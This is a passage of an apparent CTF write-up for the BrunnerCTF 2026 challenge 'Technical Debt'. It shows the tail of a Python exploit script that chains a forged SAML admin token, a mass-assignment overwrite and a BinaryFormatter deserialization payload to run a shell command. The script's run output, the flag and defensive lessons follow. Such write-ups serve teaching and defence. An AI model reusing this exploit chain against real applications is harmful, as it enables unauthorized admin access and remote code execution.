    s.post(wreply2, data={"wa": "wsignin1.0", "wresult": tok, "wctx": wctx2})
99
    assert "/News/Admin" in s.get(APP + "/News/Admin").text, "forged token rejected / not admin"
100
    return s
101

102

103
# ---------------------------------------------------------------- steps 3+4
104
def upload_image(s):
105
    s.post(APP + "/News/UploadImage",
106
           files={"image": ("t.png", io.BytesIO(PNG), "image/png")}, data={"name": "t"})
107
    ids = re.findall(r'([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})',
108
                     s.get(APP + "/News/Admin").text)
109
    return list(dict.fromkeys(ids))[0]
110

111

112
# ---------------------------------------------------------------- step 5 helper
113
def make_payload():
114
    cmd_file = "/usr/bin/find"
115
    cmd_args = "/ -maxdepth 1 -name flag_* -exec cp {} /app/found_flag.txt ;"
116
    out = subprocess.check_output(
117
        ["docker", "run", "--rm", "-v", f"{HERE}:/w", "-w", "/w", "mono:6.6.0.161",
118
         "sh", "-c", "mcs -out:gen.exe gen.cs && mono gen.exe "
119
                     f"'{cmd_file}' '{cmd_args}'"])
120
    return out.decode().strip()
121

122

123
def main():
124
    print("[*] logging in + forging Admin token ...")
125
    s = admin_session()
126
    print("[+] admin session OK")
127

128
    print("[*] uploading decoy image ...")
129
    img = upload_image(s)
130
    print(f"[+] image id: {img}")
131

132
    print("[*] building BinaryFormatter payload (docker mono) ...")
133
    payload = make_payload()
134

135
    print("[*] poisoning blob via RenameImage mass assignment ...")
136
    s.post(APP + "/News/RenameImage",
137
           data={"Id": img, "Name": "p", "ContentType": "image/png", "Content": payload})
138

139
    print("[*] triggering deserialization at /News/Image/%s ..." % img)
140
    st = s.get(APP + "/News/Image/" + img).status_code
141
    print(f"[*] trigger status: {st}")
142

143
    r = s.get(APP + "/found_flag.txt")
144
    if r.status_code == 200:
145
        flag = r.text.strip()
146
        print("\n[+] FLAG:", flag)
147
        open(os.path.join(HERE, "flag.txt"), "w").write(flag + "\n")
148
    else:
149
        sys.exit("[-] exfil file not found (%d) — rerun trigger" % r.status_code)
150

151

152
if __name__ == "__main__":
153
    main()

Show moreShow less

8. End-to-end run#

The full solve.py performs the chain in this order:

1
login + capture signed wresult
2
forge root assertion with NewsBoard-Admins
3
post forged wresult with fresh WS-Fed state
4
upload a small image and recover its GUID
5
build the Mono BinaryFormatter payload
6
overwrite Content through RenameImage
7
trigger GET /News/Image/{id}
8
GET /found_flag.txt

The important output was:

1
[*] logging in + forging Admin token ...
2
[+] admin session OK
3
[*] uploading decoy image ...
4
[+] image id: 33e7ed3b-6c02-4be3-962c-1df2a19bb0fb
5
[*] building BinaryFormatter payload (docker mono) ...
6
[*] poisoning blob via RenameImage mass assignment ...
7
[*] triggering deserialization at /News/Image/33e7ed3b-6c02-4be3-962c-1df2a19bb0fb ...
8
[*] trigger status: 404
9

10
[+] FLAG: brunner{w3ll_4_l34st_1t_1s_1n_4_c0nt41n3r}

Final flag#

1
brunner{w3ll_4_l34st_1t_1s_1n_4_c0nt41n3r}

What we learn#

Signature checks and data readers must agree. The bug was not broken cryptography but a scope mismatch: the verifier searched the whole document for the sealed element while the claims reader parsed the root assertion. When two components look at different parts of one document, an attacker can show each of them something different. OWASP’s SAML Security Cheat Sheet describes the same class of signature-wrapping failure and its validation rules.
Strict parsers have exceptions — find them. The exploit survived because ReadAdvice() tolerates nested assertions. Knowing the exact library version — Katana 4.2.2 and IdentityModel 5.3.0 — and reading its source turned trial and error into a set of rules we could satisfy deliberately.
Bind explicit input models. RenameImage bound a full database entity, so an extra form field overwrote image bytes. A small DTO containing only Id and Name makes that mass assignment impossible by construction.
BinaryFormatter on client-controlled bytes is remote code execution. Deserialization rebuilds objects and runs their logic; store image blobs as raw bytes and serve them without rebuilding anything.
Chains beat single bugs. Signature wrapping alone only grants admin, mass assignment alone only writes a blob, BinaryFormatter alone needs controlled bytes. Composed, they become unauthenticated-feeling full RCE.
Build yourself an oracle. The homepage role badge gave a binary success/failure signal, and the 404-vs-500 trigger status distinguished a clean gadget run from a crashed payload — cheap feedback that made debugging six failed XML shapes fast.

References and further reading#

OWASP SAML Security Cheat Sheet — signature scope, schema validation, and XML signature wrapping.
Katana 4.2.2 source and IdentityModel 5.3.0 source — the versions used by the challenge.
OWASP Mass Assignment Cheat Sheet — why binding a full entity is dangerous and why DTOs help.
Microsoft BinaryFormatter security guide — why BinaryFormatter.Deserialize must not process untrusted bytes.

Multiflora_Rose

LIT CTF 2026 Writeup: no way out

1. Testing the form#

2. Reading the form source#

3. Recovering 3sc4ped#

4. The trap page#

5. Why add only 9?#

6. Shortest solving script#

Final flag#

Takeaway#

COMPFEST CTF 2026 Writeup: Egg

TL;DR#

1. First look#

2. Researching WordPress 7.0#

3. Why wp2shell works here#

4. The WAF only watches the URL#

5. From SQL injection to a temporary admin#

6. Upload a small plugin#

7. The complete solver#

Flag#

What I learned#

References and further reading#

BrunnerCTF 2026 Writeup: Technical Debt

Description#

TL;DR#

How to solve?#

1. Understanding the application#

2. The login flow#

3. SAML signature wrapping#

Failed attempts were useful#

4. From Admin to arbitrary bytes#

5. The deserialization sink#

6. Building a Mono-compatible gadget#

The quoting problem#

7. The complete programs#

gen.cs#

solve.py#

8. End-to-end run#

Final flag#

What we learn#

References and further reading#

3. Recovering `3sc4ped`#

5. Why add only `9`?#

3. Why `wp2shell` works here#

`gen.cs`#

`solve.py`#